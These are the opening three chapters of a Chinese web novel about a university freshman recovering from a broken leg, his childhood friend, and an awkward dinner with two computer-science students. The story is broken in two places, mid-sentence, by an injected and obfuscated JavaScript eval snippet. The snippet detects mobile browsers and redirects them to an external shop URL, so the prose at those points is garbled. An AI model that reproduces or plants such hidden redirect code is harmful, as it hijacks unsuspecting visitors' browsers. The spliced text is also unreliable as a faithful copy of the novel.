《绯闻对象搬进我寝室后》 1. 出院 烈阳高照,万里无云。 阳光透过漏缝的树杈,借着树叶的遮挡,在地面投下一团团细碎的光影,转眼又消失不见。 夏天,是个很美好的季节。 有人的夏天是在球场上酣畅淋漓肆意奔跑,有人的夏天是书页翻动感受微风轻拂,有人是待在享受空调冷气挖西瓜吃,惬意地享受人生。 而宁启洄的夏天,是在医院里绑着石膏,成功逃过了军训,也错过了开学典礼。 彼时,宁启洄也是实现了西瓜自由,一口冰西瓜一口肥宅水,简直爽到爆! 除了腿还被绑着以外,其他一切安好,甚至能空出一只手来打僵尸。 可惜了,明天就得回学校报道了,快乐生活总是如此的短暂,宁启洄如是想。 正思考如何用游戏给定的几个辣鸡植物爆杀高阶僵尸,宁启洄的眉毛狠狠拧起,像是在思索什么世纪难题。 不过很快,伟大的思想家宁可夫斯基便不得不终止了他的世纪思考,无他,闲人来尔。 病房门被悄咪咪拉开一条缝,一只眼睛狗狗祟祟怼着门缝往里看,很快便定位到单人病房里唯一的一位患者。 宁启洄随手掰了根香蕉扔过去,外面的人迅速推开门接下香蕉,笑嘻嘻剥开皮往嘴里塞。 “阿宁,恢复得咋样?”来人似乎很担忧他的腿,但眼睛一直停留在宁启洄的脸上。 宁启洄长得很好,完美结合了父母的优点,父亲面容威严剑眉星目,母亲温婉柔情面貌柔和,宁启洄就长得更像母亲,精致秀气,但眉目中又完全没有女气,明明朗朗一个英俊少儿郎。 宁启洄手一抖,炸弹没放出去,只能眼睁睁看着那只小鬼晃晃悠悠爬进自家院子,几秒后,屏幕无情地显示“僵尸吃掉了你的脑子”。 “……” 我的好邻居戴夫呢?救一下啊! 宁启洄被林枫晚盯了几秒,浑身发毛,有些恶寒,“林枫晚你干嘛,我脸上有钱还是怎么着?” 林枫晚张了张嘴,面色挣扎,似乎在犹豫什么。 见状,宁启洄表情古怪,“怎么,有事瞒着我?” 林枫晚想到那个奇妙的夜晚,简直是邪门他妈给邪门开门,邪门到家了! “倒也不是,就是看你为什么这么白。”林枫晚嘟囔几句,回答得很是敷衍。 宁启洄确实生得白,说是站在太阳底下白得发光也不为过,但现在,添了几分因为受伤住院带来的苍白之色。 宁启洄毫不客气地嘲笑道:“哪跟你似的,像个黑煤球。” 林枫晚原本不黑,虽然比不上宁启洄,但也算是水灵灵一个大小伙子,但在饱受整整一个月的军训摧残后,林枫晚黑得回家胡秋雁女士都不敢认。 热辣辣的太阳光,给他添了一层来自古老沙漠的神秘部落伪装。 林枫晚现在晚上出门都得打电筒,还要穿着有反光条的外套。 他怕哪个司机不开灯就给撞上来了,毕竟在晚上,他唯一能看见的地方是牙齿和眼白。 正巧这时,房门被敲响,宁启洄喊“进”之后,门再次被推开。 是一位面容柔美气质温婉的女人,她放下手里拎着的果篮,看到了正在吃香蕉的林枫晚,惊讶道:“小枫也在啊,今天学校不是有开学典礼吗?” 林枫晚把嘴里的香蕉咽下去,给来人问好,“苏姨,学校那边我已经请假了,也给阿宁请了假。” “这一个月真是多亏你了小枫,回头苏姨请你吃大餐。” “谢谢苏姨!”林枫晚笑了,像一只没心没肺的二哈,嘴角还沾着香蕉果肉。 苏情,也就是宁启洄的妈妈,点头坐在床边,轻声问:“岁宝,医生说恢复得差不多了,你是想多待两天在医院进行康复训练,还是去学校报道自己锻炼锻炼呢?” “不过,你爸倒是希望你尽快去学校,他不想你耽误学习。”苏情又叹气道,显然是对丈夫的思想有些无奈,“你要是还想多养会也没事,我等会跟你们辅导员请假。” 宁启洄眼睛一亮:再待两天?还有这种好事?! 那必不能错过一切可以光明正大放假的机会! 忽地,宁启洄余光注意到林枫晚悄悄松了口气。 “?” 眸子微微眯起,不对劲,这家伙从今天进门起就不对劲。 在苏情读懂自家儿子溢于言表的“想放假”的心思,然后点头应下之前,宁启洄修改了自己的最终意见,一本正经道:“我觉得吧,爸说得有道理,不能耽误学习,我还是今天就出院吧。” 闻言,林枫晚嘴角抽搐,“……”这是哪里来的甲方? 简直放屁,这人从小到大都没怎么好好学,妥妥一个学婊,现在搁这装热爱学习! 但这话不能拆穿,毕竟林枫晚在家的好学生形象也是靠宁启洄给塑造起来的,不然两人放假就往网吧钻的事就得暴露了。 都是互帮互助的好兄弟。 说着,宁启洄用余光打量着林枫晚,林枫晚手握住半截香蕉,嘴也不嚼了,似乎陷入了对未来的某种恐惧之中,脸上的表情却像是吃了苍蝇一般。 显然,他被宁启洄刚才极其做作的话给恶心到了。 从他涣散的眼神中,宁启洄莫名看出了他未来被自己按着锤的悲惨结果。 怎么回事? 宁启洄冷笑,他倒是要看,一个月没看着,他这位发小又惹了什么事。 宁启洄和林枫晚的父亲是合作伙伴,再加上家离得很近,两人小时候经常在一起玩耍,小学初中高中一路都是在一个学校,成绩也都很优秀,高考考进了全国最好的几个大学之一的A大,也就在本市,离家很近。 一起生活了十几年,宁启洄对林枫晚的德行极其了解,简单来说可以概括为四个字——没心没肺。 现在林枫晚这副模样,很难不让人怀疑是又干了什么坏事,毕竟上一次他露出这副表情,还是两人高考出成绩以后出去毕业旅行的时候。 准确的说,是发生在毕业旅行结束之后,也就是A大报名前两天,两人匆匆忙忙从美丽的雪山往回赶,下了飞机打车回家,过路口不小心碰上了一个酒驾的司机,两车相撞,甚为惨烈。 坐在相撞那一侧窗边的宁启洄惨遭骨折,而另一侧的林枫晚则要幸运许多,除了破了相以外毫无实际伤害,而且破相造成的伤害已经好得差不多了。 不过还好两人都没出什么大事。 当时的林枫晚吓得要死,电话都不知道打了多少个,宁启洄也没昏过去,毕竟只是腿骨折了,脑袋没被撞到。 现在,林枫晚这副表情,没有当初车祸现场怕他好兄弟从此陨落的恐慌,倒是有一种背着丈夫偷情生怕被撞破的猥琐感(?) 宁启洄倒要看看,是何方妖孽缠住了林枫晚。 不出所料,林枫晚跟着劝了几句,“阿宁,医院康复训练肯定更专业,你要不再待几天?” 言语中,含了几分常人不易察觉的期待。 说着,悄悄抬眼准备打量宁启洄的表情,却被宁启洄直直看了回去。 偷看被抓包,林枫晚吓得立马低下头,不敢再乱瞟。 宁启洄在心里冷笑,面上却是一副被感动到不能自已的样子,“小林子,你居然这样为我着想,那我就——” 他故意拖长声音,在林枫晚期待的眼神里,缓缓说出剩下的话,“回学校好了,我怕你舍不得我。” 林枫晚:“……” 舍得,很舍得,现在退学还来得及吗? 他是不装得太过了,导致阿宁对他产生了某种误解? 完了死定了,阿宁要回学校了,事儿藏不住了! 三个念头在林枫晚脑海中来回转,对应的结果是,他现在立马退学,干掉宁启洄,或者把另一位当事人干掉。 仔细想想,法治社会,哪个都不太靠谱,还是算了,后两个是碍于国家法律,前一个是碍于家法,他要是敢退学,他亲爱的胡秋雁女士肯定会把他按着锤一顿,然后把他打包扔进学校接受阿宁的制裁。 想清楚了自己既定的死亡结局,林枫晚吸吸鼻子,三两口解决完剩下的香蕉,很悲惨地去给宁启洄收拾出院的东西。 林枫晚蹲在角落打包日常用品,浑身笼罩着阴云,就差来个拉二胡的在旁边拉一手,看得苏情一乐。 她给林枫晚削了个苹果,“小枫辛苦了,苏姨今晚就带你们去吃饭。” 林枫晚愤愤咬了一口,似乎在以果喻人,狠狠从某人身上撕咬下一块肉,“还是苏姨对我好!” 宁启洄:“……”讲点道理,谁才是病患? 最终,在亲儿子的据理力争下,宁启洄也得到了一个削了皮的苹果。 苹果很脆很甜,像是蜜糖,能甜到人心里,就像夏天的冰西瓜一样,不可替代。 —— A市的夏天是很热的,太阳直直照下来,仿佛不把地面晒化决不罢休。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012912|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 路边的榕树肆意生长,树上的蝉吱儿哇乱叫。 宁启洄拖着行李箱,推了推跟前的林枫晚,“小林子,你打头,我殿后。” 林枫晚:“……”是要去炸学校还是怎么的? 正是傍晚最凉爽的时候,学生们三五成群从校园里走出来,女生手挽手,男生肩勾肩,嬉笑打闹着前行。 大家都脱下了一身深绿浅绿的军训服,换上了花花绿绿极有个性的衣服。 算算时间,应该是刚参加完开学典礼,经历一个月苦训,大家都准备出去放纵。 宁启洄大概扫了眼,也没太夸张,大部分都属于正常范围的黑,少数也许是防晒措施实在是到位,竟然依旧白得发光。 想到这里,宁启洄侧头看了眼乌漆嘛黑的林枫晚,在心里默默嫌弃几秒。 这时候,身侧走过两个女生,擦肩而过之时,宁启洄似乎闻到了某种香味。 香味并没有飘远,伴随着窃窃私语靠近宁启洄。 “诶,这是不是贴吧里那个?” “好像是好像是!看到正主了!” “好磕嘿嘿,你说要是上去要合照他会给吗?” “另一个也来了!这是什么绝美同框!” “我草,拍下来发朋友圈!” 两人刚走到校门里面一点,后方就起了一阵不小的骚乱,还有人发出感叹。 宁启洄揉了揉鼻子,默默戴上随身携带的口罩。 宁启洄人有点多了,汗臭脚臭一起席卷而来,着实难为他闻了个把月医院消毒水的鼻子。 戴好口罩,他正要跟着扭头,看看是何方神圣引起如此轰动。 在他印象中,上一次这样轰动的,还是省里的领导去他们高中视察。 就在身体配合着脑袋即将完成一百八十度大逆转的时候,旁边伸出一只魔爪,死死禁锢住他灵活的头颅。 宁启洄只觉得,自己自由的灵魂被压制了。 “先带你认认宿舍,然后换套衣服,待会苏姨要带我们吃饭的。”林枫晚很周到地考虑。 宁启洄没多想,点点头,也就没注意到林枫晚一闪而过的心虚。 虽然他叫林枫晚“小林子”,但实际上林枫晚比他还要大几个月,两人成长过程中,林枫晚一直都是充当照顾人的哥哥角色。 当然,宁启洄从来都不承认。 “选课什么时候?”宁启洄拉着行李箱继续走,小心避开拥堵的人潮。 “就今晚,到时候开热点啊,别用这破校园网,前几天打游戏给我卡出去了,信誉分库库掉,给我气死。” 似乎是人太多了,身后的校门居然拥堵起来,穿着黑色制服的保安拿起喇叭在那里指挥“交通”。 宁启洄还想回头看看,却被林枫晚一把拉住往前走,“走走走,我都饿好久了,早收拾完早去吃饭!” “……” 宁启洄腿还在恢复期,被拉得一个趔趄。 语塞片刻,他看向林枫晚的表情一言难尽。 有什么好饿的,病房里的水果是喂了狗? 忽略腿部的轻微不适感,宁启洄跟上林枫晚的脚步,往宿舍楼的方向走去。 —— 校门口,拎着背包的高大男生看着拥堵的人群,皱起眉,似乎不太适应这种挤来挤去的场面。 他长得极为好看,精致的五官如同雕刻出的一般,面部线条干净利落,一双眼睛更是深邃得更把人吸进去一样,鼻梁高挺,薄唇轻抿,只是眉目冷峭,神情淡然,任谁都能看出几分不好相处的距离感。 身旁的栗色卷发男生用手肘戳了他一下,朝旁边扬了扬下巴,“喝奶茶不,我请客。” 卷发男生也很好看,五官十分立体,眼睛是纯净的蓝色,看着是混血儿的模样。 只是可惜,被墨镜和口罩遮住了大半的脸,让人不得窥见真容。 主打的就是一个氛围感帅哥。 岑柏意颔首,抬步走过去。 他没注意到,落后一步的江千陵轻轻拍了拍胸口,悄悄松了口气。 “还好,还好这家伙不怎么看贴吧,不然就完蛋了。”江千陵嘟囔道。 见岑柏意停下来,回头看他,江千陵赶紧跑了几步追上去。 “刚刚在定桌,等会我请你吃饭吧?就悦江肆。”似乎怕岑柏意发现他的心虚,江千陵赶紧找补,“上次说好请你吃饭的。” 岑柏意颔首,转身进了奶茶店。 2. 吃饭 作为国内甚至国际都排得上名号的顶尖综合性大学,A大每年的经费自然是一笔巨款,再加上不少省内富豪的子女入读本校,设立不少奖学金奖项,也捐了不少物资,所以A大的宿舍修得还是非常舒适。 宁启洄的寝室在310,三楼,一个很好的楼层,不至于太低照不上阳光,也不至于太高,地震来了只能跳阳台。 宿舍是很常规的四人寝,寝室面积倒是不小,上床下桌,桌子有一些小设计都很得宁启洄的心意,旁边就是一个巨大的木制衣柜,外面刷了一层防潮防虫的漆。 宁启洄放下行李箱,推开寝室里的另一扇门,这是通往小阳台的门,每一个寝室都带了一个小阳台外加独立卫浴,小阳台很宽敞,配备有专门的洗衣机和烘干机,如果不喜欢烘干,头顶也有晾衣线可以晾衣服。 阳台围栏下面摆了一列小盆栽绿植,大多是多肉或者好养活的绿萝等,看上去像是新搬进来的。 旁边就是独立卫浴,安了大功率浴霸,花洒喷头可以自主选择水花大小,通风排水系统极其完善,旁边的置物架也有好几层,挂钩都有七八个。 洗浴区和厕所中间有一个隔板,马桶旁边的台子上放了香薰,估计是新换的,里面的精油还没有挥发多少,此刻正散发出淡淡的香气。 宁启洄动了动鼻子,嗯,柠檬味的,有股酸涩的清香。 宁启洄退出来,深吸一口气,只觉得每年几千的住宿费是没白交。 这哪是宿舍啊,这不妥妥的宾馆。 除了没浴缸,那浴室简直完美了。 不过有浴缸宁启洄也不会去用,他稍微有点洁癖。 宁启洄一脸复杂地回了寝室,就见林枫晚双臂环胸,看着他进来,挑眉,那意思再明显不过。 宁启洄摊手,“怪我没见过世面,没听说谁家学校长这样的。” 林枫晚笑了一下,“咱学校有钱得很。” 说着,他指了指角落里的桌子,那是一张可以展开的折叠桌,目测有两米多长。 “喏,给我们打桌游的。” “……”打个毛,俩人,斗地主都差个农民。 “吃吃烧烤也行。”宁启洄看智障的眼神太过明显,林枫晚不得不强行找补。 宁启洄想了想,说:“有没有可能是为了把我们骗进来,在第一个月使劲宣传,然后吸引更多的学弟学妹。” 林枫晚诧异地看向他,“你真是好聪明啊阿宁,我太佩服了!” 贱兮兮的模样,气得宁启洄踢了他一脚。 想也能想到,起码香薰什么的是得自己续的,学校也不会闲到专门雇人来给各个寝室添香薰。 A大的新校区,也就是他们所在的这个校区,一共有七个宿舍园区,每个园区有七栋宿舍楼,每栋宿舍楼又有三四百个寝室,这一个个上去,得弄到什么时候去。 这七个宿舍园区分别被命名为:青阳、槐序、霜天、岁余、川鸿、云霄、山海,而每一个园区都分别有七栋,宁启洄他们所在的便是山海七栋。 宁启洄和林枫晚在同一间寝室,不知道为什么,这寝室就只有他们俩,不过正好,两个人也更自在,宁启洄收拾完东西,就理所当然地把杂物堆在了没人用的二号床和三号床上。 宁启洄住一号床,林枫晚住四号床。 这两张床离连着走廊的门最近,离空调最远,宁启洄有点怕冷,不太想挨着空调睡。 原本按照林枫晚的计划,宁启洄应该住三号床,这样他俩头挨着头睡,晚上还能说会悄悄话。 宁启洄是这么回答的,“宿舍就我们俩,有什么悄悄话不能大声说?” “……” 有理。 收拾了一会,俩人的手机同时发出滴滴声,是微信消息。 在一个名为【嗨皮四人小分队】的群聊里,苏女士正在艾特他们俩。 【办青】:@二月花@岁岁平安小枫岁宝,收拾好了吗?等会我来接你们。(笑脸.jpg) 【秋雁南飞】:哟,情情去接他们吃饭呐? 【办青】:对呀,岁宝今天出院了,小枫刚送他回学校。 【办青】:雁子你要一起来吗? 【秋雁南飞】:我就不了,店里忙着呢,你们好好玩。(加油.jpg) 【办青】:好,那你也记得好好吃饭。(摸摸.jpg) 【秋雁南飞】:还是我家情情最疼我!老林就知道忙公司的事。(感动落泪.jpg) 【办青】:我家老宁不也是吗,唉……(美女叹气.jpg) 【秋雁南飞】:(美女叹气.jpg) 微信群里就这么热热闹闹聊起来了。 屏幕外的宁启洄同林枫晚对视一眼,轻声说:“其实,我们本不该存在于这个群里,是吗?” 这氛围是不是太好了点?完全插不进去话啊! 这个群里只有四个人,他们俩以及双方的母亲。 至于为什么没有父亲——以前曾经拉进来一次,但因为都嫌吵给双双屏蔽掉了,大部分娱乐活动他们也因为公司事太多参加不了,导致群主苏女士和胡女士达成统一意见,把他们俩踢出去了。 现在的群里是一片和谐,至于另外一个六个人都在的大群,基本上平时不怎么说话。 宁启洄打开看了眼,上一条消息还停留在五天前,林枫晚的爸爸转发了一条消息——【骨折后绝不能做的五件事!】@岁岁平安 “……” 社交真的好累,好疲惫。 在苏女士回过神来,又一次艾特他们俩之后,他们才双双在群里回了条消息,表示自己还在。 “嚯!苏姨大气,居然请我们去悦江肆吃饭。”林枫晚捧着手机靠在上楼的楼梯杆上——A大似乎是钱没处烧了,不仅两张床中间架了个攀爬式铁梯子,靠阳台门和走廊门的两边居然也都分别有一个上楼的阶梯楼梯,大概四五阶台阶的样子。 所以说,整个寝室其实有六个楼梯——四个阶梯楼梯和两个攀爬式楼梯。 据说是因为在老校区那边,有同学上攀爬式楼梯摔下来了,所以在新校区还没完工的时候,给剩下的云霄和山海园区紧急加了阶梯式楼梯。 这两个宿舍园区的寝室环境是出了名的好。 服务周到,且人性化。 宁启洄面无表情地看着林枫晚,“不吃就我自己去了。” 林枫晚嘻嘻笑道:“别啊,啥时候说不去了,我就是感叹一下,感觉好久没去了都,旅个游我钱包都瘪了,好不容易能吃点好的。” 宁启洄都不想提他当冤大头拉回来的那一大箱子景区纪念品,结果回来还得他累死累活帮着扛行李。 自己默默地换着衣服,他心想,鬼扯,明明旅游之前宁叔叔还请我们吃过一顿。 —— 吃饭一共就三个人,不需要穿太过正式的衣服,宁启洄随便套了件白色短袖,裤子沾上了一些汗,就换下来穿了短裤,防止勒住自己的腿。 上楼的时候还能强撑,下楼的时候,宁启洄隐隐感觉到脚部传来一阵刺痛感,一直往腿上蔓延。 林枫晚正说着话,回神发现身边没人,给吓一跳,急忙往回赶,“是不是腿痛了?就说你别硬撑,拐杖也不租一副,这下好了吧。” 不顾宁启洄反对,林枫晚直接把他背在背上,慢慢往下走,嘴里还絮絮叨叨说着话:“要不我们就去借副拐杖,你这模样哪能上课啊,磕着碰着了别人也害怕……” “别说了。”宁启洄一把捂住他还在念叨的嘴,“别念了师父,我明天就去租。” 谁知道没拐杖走路这么疼,他也是第一次骨折没经验,下次一定注意。 不过看起来情况比想象中要好很多,他从校门口走到宿舍楼的距离还是有一些远的,虽然中途坐了会行李箱,林车夫拉了一会,到底还是没那么难熬,谁知道下个楼梯差点去了半条命。 既来之则安之,宁启洄接受良好,在林枫晚背上开了把植物大战僵尸。 又到了激动人心的破烂植物打高阶僵尸的环节,宁启洄选择直接氪金爆锤小鬼,全场僵尸被炸得焦黑。 他面无表情地想,谁让它觊觎他脑子来的,该。 很顺利地拿到三星过关评价。 这时,已经到了的苏女士发来消息: 【办青】:岁宝,你们从哪个门出来?@岁岁平安 【办青】:妈妈找不到路了。(大哭. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012913|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' jpg) “……” 【岁岁平安】:东一门,开导航苏女士,还有四五分钟到,不急,你慢点开。(害怕.jpg) 【办青】:好滴宝贝,么么~(风驰电掣.jpg) 宁启洄看着那一个浪出天际的波浪号,还有显示开到一百二十码的飙车小人,不禁沉思,是谁在教他妈妈这些乱七八糟的网络用语。 —— A市作为本市发展最快的城市之一,物价飞涨,寸土寸金。 传闻,悦江肆的老板原本只是个江边打渔的,做鱼手艺不错,后来借钱开了家江鲜大排档,生意越做越大,趁着经济发展的东风,倒也日渐红火。 这老板也是个有经商头脑的,趁机开了家饭店,就临着江边,最初是为了保证食材的新鲜度,后来沿江修了绿化带,也限制了捕鱼的时节,但不同时节的江景,不同种类的河鲜供应,倒也让在餐厅用餐的顾客有了别样的体验。 后面生意越做越火,但老板也是个狠人,宁可提价把餐厅的档次提上去,也不到处开分店拉低餐厅的用餐水准,老板还特地找人算了,餐厅名也从老莫江鲜大排档改成了悦江肆。 现在想来悦江肆吃饭的人,都得提前预约,还不一定能拿到号,但也真正是做到了高端消费。 不过,像苏情这样的至尊VIP顾客倒是没这样的顾虑,提前半天预定即可。 悦江肆建在大学城,来吃饭的大都是父母亲戚带着附近的学生,这会子估计都是刚从学校解放,即便是以安静环境出彩的悦江肆,此刻也都是满座了。 没订上小包厢,苏情便订了个一楼比较靠角落的桌子,顾着宁启洄的腿没好全,能不与人接触就不接触。 到了悦江肆,苏情把宁启洄和江千陵放了下来,让他们自己去订好的桌子,她去了停车场。 —— “话说,我们都多久没单独出来吃过饭了?”江千陵走在岑柏意身边,有一搭没一搭找着话题。 岑柏意认真想了想,“不记得了。” 江千陵撇嘴,你记得个啥,你就知道敲代码。 当然,这话他是不敢说出来的。 走到悦江肆门口,江千陵似乎看见了一个眼熟的人,再盯,更熟悉了。 他眯起眼,不对劲。 “岑哥,我突然想起有点事情没忙完,要不我下次再请你吃吧?”江千陵停住,拉了把岑柏意的衣袖,在后者皱起眉之前迅速放开。 岑柏意看了他一眼,视线转到悦江肆门口,发现了两个有些眼熟的身影。 是在哪里看到过……对了,三个小时前,校门口,两人拖着行李箱往校园里走,和刚解放出校的人潮格格不入。 虽然衣服不一样了,但岑柏意还是一眼就认出来那个单脚站立靠在墙上的男生,视线在那人眼角的泪痣停留了一会,这才收回目光。 很好认,那男生长得很好看。 岑柏意莫名这样想着。 瞥见江千陵压抑不住的紧张,岑柏意轻笑一声,抬步往前走去。 身后的江千陵一咬牙,也跟了上去。 要是他敢把岑哥单独一个人丢在这里吃饭,他回学校就死定了! —— 等苏情停完车上来,看到的就是这一幕: 两个高高大大的男生背对着她站在门口,面对着他伤了腿不得不单腿站立于是就很像一只丹顶鹤的宁启洄,还有冲对面龇牙咧嘴的林枫晚,四人中间似乎有什么不得了的磁场正在酝酿。 苏情看了一会,深觉这是来自同学之间的友爱氛围。 于是,她走上去,温柔地看着两个陌生的男生,笑道:“岁宝的同学吗?一起吃个饭吧,阿姨也想认识认识你们。” 江千陵拒绝的话还没说出来,就听身旁一直拒绝陌生人邀约、不适应和家长打交道的高冷男神缓缓点头,脸上甚至露出一个家长都喜欢的乖学生的笑容。 “那就却之不恭了,谢谢阿姨。” 不是岑哥,你好装啊。 在江千陵略显绝望的眼神中,岑柏意拢了拢风衣,跟着他们走去。 江千陵:不是,多少维持一下你的高冷人设呢?!! 见了鬼了。 3. 选课 几人落座,宁启洄率先接过菜单,点了几道他最常吃的菜,又递给旁边的林枫晚。 苏情见状,戳了戳自家儿子,小声说:“岁宝,让你的同学也点菜。” 宁启洄递给她一个收到的表情,菜单一转,递给了他右手边的高个子男生。 林枫晚:“……?” 好一招朝三暮四、见异思迁! 这人很高冷,接过菜单冲他微微点头,倒是再旁边那个卷发男生,一直冲他嘀咕着什么。 刚才卷发男生带着口罩和墨镜,宁启洄看得不太真切,现在要吃饭了,他摘下了伪装,宁启洄这才发现,这人眼睛和嘴唇都有些红肿,似乎是被什么蚊虫给叮咬了。 这边,江千陵见岑柏意还真点起了菜,便悄悄扯了扯岑柏意的衣袖,在后者微微侧头后,悄声附在他耳边说:“岑哥,我都订桌子了,再说咱也不认识他们。” 不认识? 岑柏意回想起江千陵和对面那个有些黑的男生的眼神交流过程,堪称一路火花带闪电,差个引燃物就能直接爆炸了。 他淡定给出一个是人都无法拒绝的理由:“来都来了。” “……” 一直盯着别人不太礼貌,宁启洄只看了几秒,就收回了目光,专心看着手机上又开了一把的游戏。 林枫晚凑过来,还想质问宁启洄的变卦行径,却被后者一双漆黑的眼睛盯得有些心惊。 宁启洄翘起唇角笑了笑,给游戏按了暂停,豌豆射手的豆豆还停在距离铁桶僵尸一个格子前。 他轻声问:“你还没告诉我,刚入学三个小时不到的我,是哪多出来这些同学的?” 旁边的男生耳朵动了动,似乎也在注意这边的动静。 宁启洄笑容温柔,眼睛也配合着弯起,但在林枫晚眼中,这妥妥的地狱微笑。 他觉得,自己这一顿,怕不就是最后的晚餐了。 咽了咽口水,见宁启洄还在盯着自己,觉得这事是过不去了,他硬着头皮解释:“是这样的,这是我在军训期间打游戏认识的,没想到啊,真是我们学校的,一来二去就熟了。” 声音越说越大,似乎为了保证全桌的人都能听见。 说完,还抬头冲他左手边的苏情挤了挤眼,表示他介绍过了。 苏情没觉出什么不对劲,只是乐呵呵点头。 本来她是想和自己宝贝儿子坐一起的,但见宁启洄同学来了,苏情觉得儿子毕竟比其他同学慢入学一个月,这时候和同学多接触接触,不失为一个好机会。 宁启洄抬头看了林枫晚一眼,没去管他这明晃晃串供的行为。 他只是按下继续键,让豌豆打在铁桶僵尸脸上,打烂了那个破破烂烂的桶。 林枫晚胆战心惊,觉得被打烂的不是铁桶,是他的脑壳。 岑柏意点完了菜,直接隔着望眼欲穿的江千陵,把菜单递给了苏情,“我们点完了,阿姨你点吧。” 江千陵:“……” 什么我们,哪来的们? 他的手都没碰到过菜单! 苏情还以为他替旁边的卷毛男生点过了,于是笑着点头,“谢谢小同学,你们可以跟着小枫叫我苏姨,还不知道你们的名字呢?” 说着,看向林枫晚。 林枫晚:“……”实不相瞒,我也不太知道,毕竟只是传说中的游戏搭子。 同时被四双眼睛盯着,特别是来自右侧那位伤残人士的眼神,简直要把他给看穿了。 林枫晚只能根据短短一个星期的网聊扒拉信息,硬着头皮说:“啊,他们都是计算机专业的学生,这位是岑柏意,这位是,张三吧可能……” 声音越说越小,苏情并没有听清,但是在场的其他三位校友都听见了。 宁启洄悄悄看了眼坐在他斜对面的卷发男生,此刻已经气到红温,因为眼皮被叮肿而显小的眼睛此刻瞪得大大的,恨不得吃了说话的人。 谁是张三! 谈了一个星期,你不记得我叫什么?!!! 江千陵俨然是忘记了,自己在网聊的过程中,并没有给对方透露自己的名字,一直用“亲爱的”“宝贝”等腻了巴拉的词指代。 当然,公平起见,他也没问对方叫什么。 “……你怎么知道他叫什么?”江千陵忍了忍,没忍住,还是问出了口。 你不是个刚入学的新生吗?! 总不能因为人家帅就叫岑柏意,他被叮成这样子就不配有姓名? 此话一出,刚才还在小声哔哔的林枫晚瞬间消音,看向他的眼神充满对其智商的不确认。 什么都好奇!什么都问!又不是没他联系方式!发条微信很难吗?! 哦对,见了面就互删了来着。 苏情把菜单交给服务员,秀眉微微皱起,总觉得几人之间的氛围哪里不对劲,她轻声问:“怎么了小枫?” 她没问自己儿子,就像刚才林枫晚说的,他们只是打游戏认识的,估计宁启洄对这些人不熟。 林枫晚一秒切换表情,露出一个微笑,“苏姨,其实我和这位同学不是很熟啦……” 所以快赶他们走,赶他们走! 当然,这也就是他在心里想想,他们都已经坐下了,苏情不可能再把他们赶走了。 苏情微笑,“来都来了。” 林枫晚深吸一口气,作一副英勇赴死状,“岑同学嘛,A大有名的校草学神,谁人不知谁人不晓,有学妹,哦不对,学姐曾言,如果这辈子没有见过岑大神,那是他的福气,因为只看一眼便再也忘不掉,日思夜想……” 宁启洄听得一乐,目光移向旁边,男生的面色如常,只是抿起的嘴角表现了主人此刻的心情算不上好。 没忍住,宁启洄噗嗤一声笑出声来,打断了林枫晚的激情演讲,也成功把全桌人的注意力都移到了自己身上。 旁边那男生的目光尤为深邃锐利。 “……” 宁启洄瞬间绷直嘴角,一副这辈子都不会再笑了的模样。 干嘛,不准人笑? 随手按了继续键,豌豆射手的豆豆最终还是打到了可怜僵尸的脑壳上。 好在苏女士及时打着圆场,说了几句转移话题,气氛倒也没太尴尬。 悦江肆的风景实在是很好,无论坐在哪个位置都能看见江边。 现在是晚上,江边已经亮起了灯,昏黄的灯光下,月光照映在湖面,尽显温柔。 只不过,在场的几人,除了宁启洄和苏情,都不太有心情去欣赏这美景。 一顿饭吃完,已经晚上九点多了,苏女士又贴心地把宁启洄和林枫晚送回学校。 岑柏意和江千陵婉拒了她的好意,说是还要在周围逛逛。 到了A大东一门,苏情拉着两个大男生的手,不厌其烦地叮嘱着:“明天去租拐杖,上上下下不方便的小枫你就照顾照顾岁宝,天热也不要吃太多冰的,晚上凉记得加衣服,空调温度别开太低……” 宁启洄耐心地听着,直到最后苏情忍不住,把自己说笑了。 她用力抱了抱两个儿子——林枫晚相当于是她的干儿子,宁启洄也是胡秋雁女士的干儿子,这是当初两人还没出生就定下来的。 “照顾好自己,别听你爸的学习最重要,健康才是最重要的。” 苏情拍了拍宁启洄的肩膀,一步三回头地朝车边走,直到宁启洄举起手用力挥了挥,这才开着车转身离开。 —— 当天晚上选课,宁启洄还在浴室里揉搓头发上的泡泡,门外传来紧急的敲门声。 “阿宁,掉厕所了吗,需要我来捞你吗?”林枫晚欠欠的声音隔着门板传进来。 “有屁快放。” “我刚刚提醒过你,要选课了,现在还差五分钟,你最好快点。”林枫晚语气有些无奈。 “……”宁启洄看着刚呼在头发上的泡泡,沉默了几秒,“要不你帮我选?” 林枫晚:“……那我怎么办?” “……” 就很烦人。 “给你把教务网网页打开了,记得提前登录。”林枫晚又交代了一句,听到宁启洄答应了一声,这才离开。 准备慢慢洗个澡当精致猪猪男孩的宁启洄只能快速抓了几下,冲掉头发上的泡泡,穿好浴袍,扯了条干净的毛巾就往外走。 坐到椅子上,瞥了眼时间,很好,还有两分钟。 指尖飞快在键盘上按压,显示学生宁启洄成功登录。 这边林枫晚又开始絮絮叨叨了,“今天太赶了,不然学姐给的选课攻略还能再看看。” 这回轮到宁启洄诧异了,他擦拭头发的手一顿,“选课,还有攻略?” 